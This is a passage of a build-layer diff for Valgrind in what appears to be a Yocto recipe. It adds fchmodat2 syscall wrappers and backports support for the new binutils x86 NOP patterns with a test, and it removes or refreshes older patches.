+ 476708 valgrind-monitor.py regular expressions should use raw strings
++477198 Add fchmodat2 syscall on linux
+
+ To see details of a given bug, visit
+ https://bugs.kde.org/show_bug.cgi?id=XXXXXX
+diff --git a/coregrind/m_syswrap/priv_syswrap-linux.h b/coregrind/m_syswrap/priv_syswrap-linux.h
+index 7c9decf5a..798c456c9 100644
+--- a/coregrind/m_syswrap/priv_syswrap-linux.h
++++ b/coregrind/m_syswrap/priv_syswrap-linux.h
+@@ -331,6 +331,9 @@ DECL_TEMPLATE(linux, sys_openat2);
+ // Linux-specific (new in Linux 5.14)
+ DECL_TEMPLATE(linux, sys_memfd_secret);
+
++// Since Linux 6.6
++DECL_TEMPLATE(linux, sys_fchmodat2);
++
+ /* ---------------------------------------------------------------------
+ Wrappers for sockets and ipc-ery. These are split into standalone
+ procedures because x86-linux hides them inside multiplexors
+diff --git a/coregrind/m_syswrap/syswrap-amd64-linux.c b/coregrind/m_syswrap/syswrap-amd64-linux.c
+index 008600798..fe17d118b 100644
+--- a/coregrind/m_syswrap/syswrap-amd64-linux.c
++++ b/coregrind/m_syswrap/syswrap-amd64-linux.c
+@@ -886,6 +886,8 @@ static SyscallTableEntry syscall_table[] = {
+ LINXY(__NR_epoll_pwait2, sys_epoll_pwait2), // 441
+
+ LINXY(__NR_memfd_secret, sys_memfd_secret), // 447
++
++ LINX_(__NR_fchmodat2, sys_fchmodat2), // 452
+ };
+
+ SyscallTableEntry* ML_(get_linux_syscall_entry) ( UInt sysno )
+diff --git a/coregrind/m_syswrap/syswrap-arm-linux.c b/coregrind/m_syswrap/syswrap-arm-linux.c
+index 9a7a1e0d2..811931d3b 100644
+--- a/coregrind/m_syswrap/syswrap-arm-linux.c
++++ b/coregrind/m_syswrap/syswrap-arm-linux.c
+@@ -1059,6 +1059,8 @@ static SyscallTableEntry syscall_main_table[] = {
+ LINX_(__NR_faccessat2, sys_faccessat2), // 439
+
+ LINXY(__NR_epoll_pwait2, sys_epoll_pwait2), // 441
++
++ LINX_(__NR_fchmodat2, sys_fchmodat2), // 452
+ };
+
+
+diff --git a/coregrind/m_syswrap/syswrap-arm64-linux.c b/coregrind/m_syswrap/syswrap-arm64-linux.c
+index 6af7bab83..3307bc2ca 100644
+--- a/coregrind/m_syswrap/syswrap-arm64-linux.c
++++ b/coregrind/m_syswrap/syswrap-arm64-linux.c
+@@ -840,6 +840,8 @@ static SyscallTableEntry syscall_main_table[] = {
+ LINXY(__NR_epoll_pwait2, sys_epoll_pwait2), // 441
+
+ LINXY(__NR_memfd_secret, sys_memfd_secret), // 447
++
++ LINX_(__NR_fchmodat2, sys_fchmodat2), // 452
+ };
+
+
+diff --git a/coregrind/m_syswrap/syswrap-linux.c b/coregrind/m_syswrap/syswrap-linux.c
+index d571fc327..efa47f2e6 100644
+--- a/coregrind/m_syswrap/syswrap-linux.c
++++ b/coregrind/m_syswrap/syswrap-linux.c
+@@ -6059,6 +6059,17 @@ PRE(sys_fchmodat)
+ PRE_MEM_RASCIIZ( "fchmodat(path)", ARG2 );
+ }
+
++PRE(sys_fchmodat2)
++{
++ PRINT("sys_fchmodat2 ( %ld, %#" FMT_REGWORD "x(%s), %" FMT_REGWORD "u, %"
++ FMT_REGWORD "u )",
++ SARG1, ARG2, (HChar*)(Addr)ARG2, ARG3, ARG4);
++ PRE_REG_READ4(long, "fchmodat2",
++ int, dfd, const char *, path, vki_mode_t, mode,
++ unsigned int, flags);
++ PRE_MEM_RASCIIZ( "fchmodat2(pathname)", ARG2 );
++}
++
+ PRE(sys_faccessat)
+ {
+ PRINT("sys_faccessat ( %ld, %#" FMT_REGWORD "x(%s), %ld )",
+diff --git a/coregrind/m_syswrap/syswrap-mips32-linux.c b/coregrind/m_syswrap/syswrap-mips32-linux.c
+index 6268a00dd..74a1f6eac 100644
+--- a/coregrind/m_syswrap/syswrap-mips32-linux.c
++++ b/coregrind/m_syswrap/syswrap-mips32-linux.c
+@@ -1143,6 +1143,8 @@ static SyscallTableEntry syscall_main_table[] = {
+ LINX_ (__NR_faccessat2, sys_faccessat2), // 439
+
+ LINXY(__NR_epoll_pwait2, sys_epoll_pwait2), // 441
++
++ LINX_(__NR_fchmodat2, sys_fchmodat2), // 452
+ };
+
+ SyscallTableEntry* ML_(get_linux_syscall_entry) (UInt sysno)
+diff --git a/coregrind/m_syswrap/syswrap-mips64-linux.c b/coregrind/m_syswrap/syswrap-mips64-linux.c
+index 6cdf25893..4e8508b7a 100644
+--- a/coregrind/m_syswrap/syswrap-mips64-linux.c
++++ b/coregrind/m_syswrap/syswrap-mips64-linux.c
+@@ -820,6 +820,7 @@ static SyscallTableEntry syscall_main_table[] = {
+ LINXY (__NR_close_range, sys_close_range),
+ LINX_ (__NR_faccessat2, sys_faccessat2),
+ LINXY(__NR_epoll_pwait2, sys_epoll_pwait2),
++ LINX_ (__NR_fchmodat2, sys_fchmodat2),
+ };
+
+ SyscallTableEntry * ML_(get_linux_syscall_entry) ( UInt sysno )
+diff --git a/coregrind/m_syswrap/syswrap-nanomips-linux.c b/coregrind/m_syswrap/syswrap-nanomips-linux.c
+index d724cde74..7859900c1 100644
+--- a/coregrind/m_syswrap/syswrap-nanomips-linux.c
++++ b/coregrind/m_syswrap/syswrap-nanomips-linux.c
+@@ -829,6 +829,7 @@ static SyscallTableEntry syscall_main_table[] = {
+ LINXY (__NR_close_range, sys_close_range),
+ LINX_ (__NR_faccessat2, sys_faccessat2),
+ LINXY (__NR_epoll_pwait2, sys_epoll_pwait2),
++ LINX_ (__NR_fchmodat2, sys_fchmodat2),
+ };
+
+ SyscallTableEntry* ML_(get_linux_syscall_entry) (UInt sysno)
+diff --git a/coregrind/m_syswrap/syswrap-ppc32-linux.c b/coregrind/m_syswrap/syswrap-ppc32-linux.c
+index c0cfef235..1e19116ee 100644
+--- a/coregrind/m_syswrap/syswrap-ppc32-linux.c
++++ b/coregrind/m_syswrap/syswrap-ppc32-linux.c
+@@ -1063,6 +1063,8 @@ static SyscallTableEntry syscall_table[] = {
+ LINX_(__NR_faccessat2, sys_faccessat2), // 439
+
+ LINXY (__NR_epoll_pwait2, sys_epoll_pwait2), // 441
++
++ LINX_ (__NR_fchmodat2, sys_fchmodat2), // 452
+ };
+
+ SyscallTableEntry* ML_(get_linux_syscall_entry) ( UInt sysno )
+diff --git a/coregrind/m_syswrap/syswrap-ppc64-linux.c b/coregrind/m_syswrap/syswrap-ppc64-linux.c
+index f5976f30c..1097212a4 100644
+--- a/coregrind/m_syswrap/syswrap-ppc64-linux.c
++++ b/coregrind/m_syswrap/syswrap-ppc64-linux.c
+@@ -1032,6 +1032,8 @@ static SyscallTableEntry syscall_table[] = {
+ LINX_(__NR_faccessat2, sys_faccessat2), // 439
+
+ LINXY (__NR_epoll_pwait2, sys_epoll_pwait2), // 441
++
++ LINX_ (__NR_fchmodat2, sys_fchmodat2), // 452
+ };
+
+ SyscallTableEntry* ML_(get_linux_syscall_entry) ( UInt sysno )
+diff --git a/coregrind/m_syswrap/syswrap-s390x-linux.c b/coregrind/m_syswrap/syswrap-s390x-linux.c
+index afba154e7..3588672c7 100644
+--- a/coregrind/m_syswrap/syswrap-s390x-linux.c
++++ b/coregrind/m_syswrap/syswrap-s390x-linux.c
+@@ -873,6 +873,8 @@ static SyscallTableEntry syscall_table[] = {
+ LINX_(__NR_faccessat2, sys_faccessat2), // 439
+
+ LINXY(__NR_epoll_pwait2, sys_epoll_pwait2), // 441
++
++ LINX_ (__NR_fchmodat2, sys_fchmodat2), // 452
+ };
+
+ SyscallTableEntry* ML_(get_linux_syscall_entry) ( UInt sysno )
+diff --git a/coregrind/m_syswrap/syswrap-x86-linux.c b/coregrind/m_syswrap/syswrap-x86-linux.c
+index da4fd8fa2..58badc6b0 100644
+--- a/coregrind/m_syswrap/syswrap-x86-linux.c
++++ b/coregrind/m_syswrap/syswrap-x86-linux.c
+@@ -1658,6 +1658,8 @@ static SyscallTableEntry syscall_table[] = {
+ LINXY(__NR_epoll_pwait2, sys_epoll_pwait2), // 441
+
+ LINXY(__NR_memfd_secret, sys_memfd_secret), // 447
++
++ LINX_(__NR_fchmodat2, sys_fchmodat2), // 452
+ };
+
+ SyscallTableEntry* ML_(get_linux_syscall_entry) ( UInt sysno )
+diff --git a/include/vki/vki-scnums-shared-linux.h b/include/vki/vki-scnums-shared-linux.h
+index 542382b53..a4cd87149 100644
+--- a/include/vki/vki-scnums-shared-linux.h
++++ b/include/vki/vki-scnums-shared-linux.h
+@@ -50,4 +50,6 @@
+
+ #define __NR_memfd_secret 447
+
++#define __NR_fchmodat2 452
++
+ #endif
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch b/meta/recipes-devtools/valgrind/valgrind/0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch
deleted file mode 100644
index fa1344c853..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From d103475875858ab8a2e6b53ce178bb2f63883d4c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 5 Jul 2017 17:37:56 -0700
-Subject: [PATCH 3/3] tests/seg_override: Replace __modify_ldt() with syscall()
-
-__modify_ldt() is specific to glibc, replacing it with syscall()
-makes it more portable.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- none/tests/x86-linux/seg_override.c | 15 ++++++---------
- 1 file changed, 6 insertions(+), 9 deletions(-)
-
-diff --git a/none/tests/x86-linux/seg_override.c b/none/tests/x86-linux/seg_override.c
-index b7619c9..c89874b 100644
---- a/none/tests/x86-linux/seg_override.c
-+++ b/none/tests/x86-linux/seg_override.c
-@@ -2,6 +2,8 @@
- #include <stdio.h>
- #include <errno.h>
- #include <string.h>
-+#include <unistd.h>
-+#include <syscall.h>
-
- /* Stuff from Wine. */
-
-@@ -52,14 +54,11 @@ inline static unsigned int wine_ldt_get_limit( const LDT_ENTRY *ent )
- /* our copy of the ldt */
- LDT_ENTRY ldt_copy[8192];
-
--/* System call to set LDT entry. */
--//extern int __modify_ldt (int, struct modify_ldt_ldt_s *, size_t);
--extern int __modify_ldt (int, void *, size_t);
--
- void print_ldt ( void )
- {
- int res;
-- res = __modify_ldt( 0, ldt_copy, 8192*sizeof(LDT_ENTRY) );
-+ /* System call to set LDT entry. */
-+ res = syscall(SYS_modify_ldt, 0, ldt_copy, 8192*sizeof(LDT_ENTRY) );
- printf("got %d bytes\n", res );
- perror("error is");
- }
-@@ -83,9 +82,6 @@ struct modify_ldt_ldt_s
- unsigned int empty:25;
- };
-
--/* System call to set LDT entry. */
--//extern int __modify_ldt (int, struct modify_ldt_ldt_s *, size_t);
--
- void set_ldt1 ( void* base )
- {
- int stat;
-@@ -102,7 +98,8 @@ void set_ldt1 ( void* base )
- ldt_entry.read_exec_only = 0;
- ldt_entry.limit_in_pages = 0;
- ldt_entry.seg_not_present = 0;
-- stat = __modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
-+ /* System call to set LDT entry. */
-+ stat = syscall(SYS_modify_ldt, 1, &ldt_entry, sizeof (ldt_entry));
- printf("stat = %d\n", stat);
- }
-
---
-2.13.2
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0004-Bug-478624-Valgrind-incompatibility-with-binutils-2..patch b/meta/recipes-devtools/valgrind/valgrind/0004-Bug-478624-Valgrind-incompatibility-with-binutils-2..patch
new file mode 100644
index 0000000000..4e9185508a
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0004-Bug-478624-Valgrind-incompatibility-with-binutils-2..patch
@@ -0,0 +1,137 @@
+From 41ff9aa49f6c54c66d0e6b37f265fd9cb0176057 Mon Sep 17 00:00:00 2001
+From: Paul Floyd <pjfloyd@wanadoo.fr>
+Date: Sun, 17 Dec 2023 14:18:51 +0100
+Subject: [PATCH 4/4] Bug 478624 - Valgrind incompatibility with binutils-2.42
+ on x86 with new nop patterns (unhandled instruction bytes: 0x2E 0x8D 0xB4
+ 0x26)
+
+It was a bit of a struggle to get the testcase to build
+with both clang and gcc (oddly enough gcc was more difficult) so
+I just resorted to using .byte arrays.
+
+(cherry picked from commit d35005cef8ad8207542738812705ceabf137d7e0)
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=valgrind.git;a=commit;h=41ff9aa49f6c54c66d0e6b37f265fd9cb0176057]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ .gitignore | 1 +
+ NEWS | 2 ++
+ VEX/priv/guest_x86_toIR.c | 22 +++++++++++++-
+ none/tests/x86/Makefile.am | 2 ++
+ none/tests/x86/gnu_binutils_nop.c | 34 ++++++++++++++++++++++
+ none/tests/x86/gnu_binutils_nop.stderr.exp | 0
+ none/tests/x86/gnu_binutils_nop.vgtest | 2 ++
+ 7 files changed, 62 insertions(+), 1 deletion(-)
+ create mode 100644 none/tests/x86/gnu_binutils_nop.c
+ create mode 100644 none/tests/x86/gnu_binutils_nop.stderr.exp
+ create mode 100644 none/tests/x86/gnu_binutils_nop.vgtest
+
+--- a/NEWS
++++ b/NEWS
+@@ -9,6 +9,8 @@ The following bugs have been fixed or re
+ file produced by mold
+ 476708 valgrind-monitor.py regular expressions should use raw strings
+ 477198 Add fchmodat2 syscall on linux
++478624 Valgrind incompatibility with binutils-2.42 on x86 with new nop patterns
++ (unhandled instruction bytes: 0x2E 0x8D 0xB4 0x26)
+
+ To see details of a given bug, visit
+ https://bugs.kde.org/show_bug.cgi?id=XXXXXX
+--- a/VEX/priv/guest_x86_toIR.c
++++ b/VEX/priv/guest_x86_toIR.c
+@@ -8198,7 +8198,7 @@ DisResult disInstr_X86_WRK (
+ delta += 5;
+ goto decode_success;
+ }
+- /* Don't barf on recent binutils padding,
++ /* Don't barf on recent (2010) binutils padding,
+ all variants of which are: nopw %cs:0x0(%eax,%eax,1)
+ 66 2e 0f 1f 84 00 00 00 00 00
+ 66 66 2e 0f 1f 84 00 00 00 00 00
+@@ -8222,6 +8222,26 @@ DisResult disInstr_X86_WRK (
+ goto decode_success;
+ }
+ }
++
++ /* bug478624 GNU binutils uses a leal of esi into itself with
++ a zero offset and CS prefix as an 8 byte no-op (Dec 2023).
++ Since the CS prefix is hardly ever used we don't do much
++ to decode it, just a few cases for conditional branches.
++ So add handling here with other pseudo-no-ops.
++ */
++ if (code[0] == 0x2E && code[1] == 0x8D) {
++ if (code[2] == 0x74 && code[3] == 0x26 && code[4] == 0x00) {
++ DIP("leal %%cs:0(%%esi,%%eiz,1),%%esi\n");
++ delta += 5;
++ goto decode_success;
++ }
++ if (code[2] == 0xB4 && code[3] == 0x26 && code[4] == 0x00
++ && code[5] == 0x00 && code[6] == 0x00 && code[7] == 0x00) {
++ DIP("leal %%cs:0(%%esi,%%eiz,1),%%esi\n");
++ delta += 8;
++ goto decode_success;
++ }
++ }
+
+ // Intel CET requires the following opcodes to be treated as NOPs
+ // with any prefix and ModRM, SIB and disp combination:
+--- a/none/tests/x86/Makefile.am
++++ b/none/tests/x86/Makefile.am
+@@ -52,6 +52,7 @@ EXTRA_DIST = \
+ fxtract.stdout.exp fxtract.stderr.exp fxtract.vgtest \
+ fxtract.stdout.exp-older-glibc \
+ getseg.stdout.exp getseg.stderr.exp getseg.vgtest \
++ gnu_binutils_nop.stderr.exp gnu_binutils_nop.vgtest \
+ incdec_alt.stdout.exp incdec_alt.stderr.exp incdec_alt.vgtest \
+ int.stderr.exp int.stdout.exp int.disabled \
+ $(addsuffix .stderr.exp,$(INSN_TESTS)) \
+@@ -100,6 +101,7 @@ check_PROGRAMS = \
+ fpu_lazy_eflags \
+ fxtract \
+ getseg \
++ gnu_binutils_nop \
+ incdec_alt \
+ $(INSN_TESTS) \
+ int \
+--- /dev/null
++++ b/none/tests/x86/gnu_binutils_nop.c
+@@ -0,0 +1,34 @@
++int main(void)
++{
++ // GNU binutils uses various opcodes as alternatives for nop
++ // the idea is that it is faster to execute one large opcode
++ // with no side-effects than multiple repetitions of the
++ // single byte 'nop'. This gives more choice when code
++ // needs to be padded.
++
++ // the following is based on
++ // https://sourceware.org/cgit/binutils-gdb/tree/gas/config/tc-i386.c#n1256
++
++ // one byte
++ __asm__ __volatile__("nop");
++ // two bytes
++ __asm__ __volatile__("xchg %ax,%ax");
++ // three bytes
++ //__asm__ __volatile__("leal 0(%esi),%esi");
++ __asm__ __volatile__(".byte 0x8d,0x76,0x00");
++ // four bytes
++ //__asm__ __volatile__("leal 0(%esi,%eiz),%esi");
++ __asm__ __volatile__(".byte 0x8d,0x74,0x26,0x00");
++ // five bytes
++ //__asm__ __volatile__("leal %cs:0(%esi,%eiz),%esi");
++ __asm__ __volatile__(".byte 0x2e,0x8d,0x74,0x26,0x00");
++ // six bytes
++ //__asm__ __volatile__("leal 0L(%esi),%esi");
++ __asm__ __volatile__(".byte 0x8d,0xb6,0x00,0x00,0x00,0x00");
++ // seven bytes
++ //__asm__ __volatile__("leal 0L(%esi,%eiz),%esi");
++ __asm__ __volatile__(".byte 0x8d,0xb4,0x26,0x00,0x00,0x00,0x00");
++ // eight bytes
++ //__asm__ __volatile__("leal %cs:0L(%esi,%eiz),%esi");
++ __asm__ __volatile__(".byte 0x2e,0x8d,0xb4,0x26,0x00,0x00,0x00,0x00");
++}
+--- /dev/null
++++ b/none/tests/x86/gnu_binutils_nop.vgtest
+@@ -0,0 +1,2 @@
++prog: gnu_binutils_nop
++vgopts: -q
diff --git a/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch b/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch
deleted file mode 100644
index 4570f63995..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch
+++ /dev/null
@@ -1,185 +0,0 @@
-From 8f916dcb395fe5a2429f2867ba4daf8ef3af073a Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Tue, 16 Oct 2018 21:01:04 -0400
-Subject: [PATCH] Fix out of tree builds.
-
-The paths to these files need to be fully specified in
-the out of tree build case. glibc-2.X.supp is a generated file so the
-full path
-is deliberately not specified in that case.
-
-RP 2013/03/23
-
-Patch refreshed for valgrind-3.14.0.
-
-Upstream-Status: Pending
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
----
- configure.ac | 66 ++++++++++++++++++++++++++--------------------------
- 1 file changed, 33 insertions(+), 33 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 524230d..54861c5 100755
---- a/configure.ac
-+++ b/configure.ac
-@@ -396,50 +396,50 @@ case "${host_os}" in
- 9.*)
- AC_MSG_RESULT([Darwin 9.x (${kernel}) / Mac OS X 10.5 Leopard])
- AC_DEFINE([DARWIN_VERS], DARWIN_10_5, [Darwin / Mac OS X version])
-- DEFAULT_SUPP="darwin9.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="darwin9-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin9.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin9-drd.supp ${DEFAULT_SUPP}"
- ;;
- 10.*)
- AC_MSG_RESULT([Darwin 10.x (${kernel}) / Mac OS X 10.6 Snow Leopard])
- AC_DEFINE([DARWIN_VERS], DARWIN_10_6, [Darwin / Mac OS X version])
-- DEFAULT_SUPP="darwin10.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
- ;;
- 11.*)
- AC_MSG_RESULT([Darwin 11.x (${kernel}) / Mac OS X 10.7 Lion])
- AC_DEFINE([DARWIN_VERS], DARWIN_10_7, [Darwin / Mac OS X version])
-- DEFAULT_SUPP="darwin11.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin11.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
- ;;
- 12.*)
- AC_MSG_RESULT([Darwin 12.x (${kernel}) / Mac OS X 10.8 Mountain Lion])
- AC_DEFINE([DARWIN_VERS], DARWIN_10_8, [Darwin / Mac OS X version])
-- DEFAULT_SUPP="darwin12.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin12.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
- ;;
- 13.*)
- AC_MSG_RESULT([Darwin 13.x (${kernel}) / Mac OS X 10.9 Mavericks])
- AC_DEFINE([DARWIN_VERS], DARWIN_10_9, [Darwin / Mac OS X version])
-- DEFAULT_SUPP="darwin13.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin13.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
- ;;
- 14.*)
- AC_MSG_RESULT([Darwin 14.x (${kernel}) / Mac OS X 10.10 Yosemite])
- AC_DEFINE([DARWIN_VERS], DARWIN_10_10, [Darwin / Mac OS X version])
-- DEFAULT_SUPP="darwin14.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin14.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
- ;;
- 15.*)
- AC_MSG_RESULT([Darwin 15.x (${kernel}) / Mac OS X 10.11 El Capitan])
- AC_DEFINE([DARWIN_VERS], DARWIN_10_11, [Darwin / Mac OS X version])
-- DEFAULT_SUPP="darwin15.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin15.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
- ;;
- 16.*)
- AC_MSG_RESULT([Darwin 16.x (${kernel}) / macOS 10.12 Sierra])
- AC_DEFINE([DARWIN_VERS], DARWIN_10_12, [Darwin / Mac OS X version])
-- DEFAULT_SUPP="darwin16.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin16.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
- ;;
- 17.*)
- AC_MSG_RESULT([Darwin 17.x (${kernel}) / macOS 10.13 High Sierra])
-@@ -464,7 +464,7 @@ case "${host_os}" in
- DEFAULT_SUPP="solaris12.supp ${DEFAULT_SUPP}"
- ;;
- *)
-- DEFAULT_SUPP="solaris11.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/solaris11.supp ${DEFAULT_SUPP}"
- ;;
- esac
- ;;
-@@ -472,7 +472,7 @@ case "${host_os}" in
- solaris2.12*)
- AC_MSG_RESULT([ok (${host_os})])
- VGCONF_OS="solaris"
-- DEFAULT_SUPP="solaris12.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/solaris12.supp ${DEFAULT_SUPP}"
- ;;
-
- *)
-@@ -1095,29 +1095,29 @@ AC_MSG_CHECKING([the glibc version])
- case "${GLIBC_VERSION}" in
- 2.2)
- AC_MSG_RESULT(${GLIBC_VERSION} family)
-- DEFAULT_SUPP="glibc-2.2.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.2-LinuxThreads-helgrind.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.2.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.2-LinuxThreads-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
- ;;
- 2.[[3-6]])
- AC_MSG_RESULT(${GLIBC_VERSION} family)
-- DEFAULT_SUPP="glibc-${GLIBC_VERSION}.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-${GLIBC_VERSION}.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
- ;;
- 2.[[7-9]])
- AC_MSG_RESULT(${GLIBC_VERSION} family)
- DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
- ;;
- 2.10|2.11)
- AC_MSG_RESULT(${GLIBC_VERSION} family)
- AC_DEFINE([GLIBC_MANDATORY_STRLEN_REDIRECT], 1,
- [Define to 1 if strlen() has been optimized heavily (amd64 glibc >= 2.10)])
- DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
- ;;
- 2.*)
- AC_MSG_RESULT(${GLIBC_VERSION} family)
-@@ -1126,8 +1126,8 @@ case "${GLIBC_VERSION}" in
- AC_DEFINE([GLIBC_MANDATORY_INDEX_AND_STRLEN_REDIRECT], 1,
- [Define to 1 if index() and strlen() have been optimized heavily (x86 glibc >= 2.12)])
- DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
- ;;
- darwin)
- AC_MSG_RESULT(Darwin)
-@@ -1137,7 +1137,7 @@ case "${GLIBC_VERSION}" in
- bionic)
- AC_MSG_RESULT(Bionic)
- AC_DEFINE([BIONIC_LIBC], 1, [Define to 1 if you're using Bionic])
-- DEFAULT_SUPP="bionic.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/bionic.supp ${DEFAULT_SUPP}"
- ;;
- solaris)
- AC_MSG_RESULT(Solaris)
-@@ -1164,8 +1164,8 @@ if test "$VGCONF_OS" != "solaris"; then
- # attempt to detect whether such libraries are installed on the
- # build machine (or even if any X facilities are present); just
- # add the suppressions antidisirregardless.
-- DEFAULT_SUPP="xfree-4.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="xfree-3.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/xfree-4.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/xfree-3.supp ${DEFAULT_SUPP}"
- fi
-
-
---
-2.17.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch b/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
index 7985308e41..fea3b00f62 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
@@ -1,7 +1,7 @@
-From f49f27f1bc67d07440b0ac9a7d767a8ea1589bfe Mon Sep 17 00:00:00 2001
+From e244a72c6f8803550f37e81f72bbae039651013b Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 15 Dec 2015 15:50:44 +0200
-Subject: [PATCH 5/5] Modify vg_test wrapper to support PTEST formats
+Subject: [PATCH] Modify vg_test wrapper to support PTEST formats
Change the valgrind regression test script vg_regtest to
support the yocto ptest stdout reporting format. The commit adds
@@ -14,17 +14,22 @@ option, --yocto-ptest, the valgrind regression test output is unchanged.
Enforce 30 seconds limit for the test.
This resume execution of the remaining tests when valgrind hangs.
-Upstream-Status: Pending
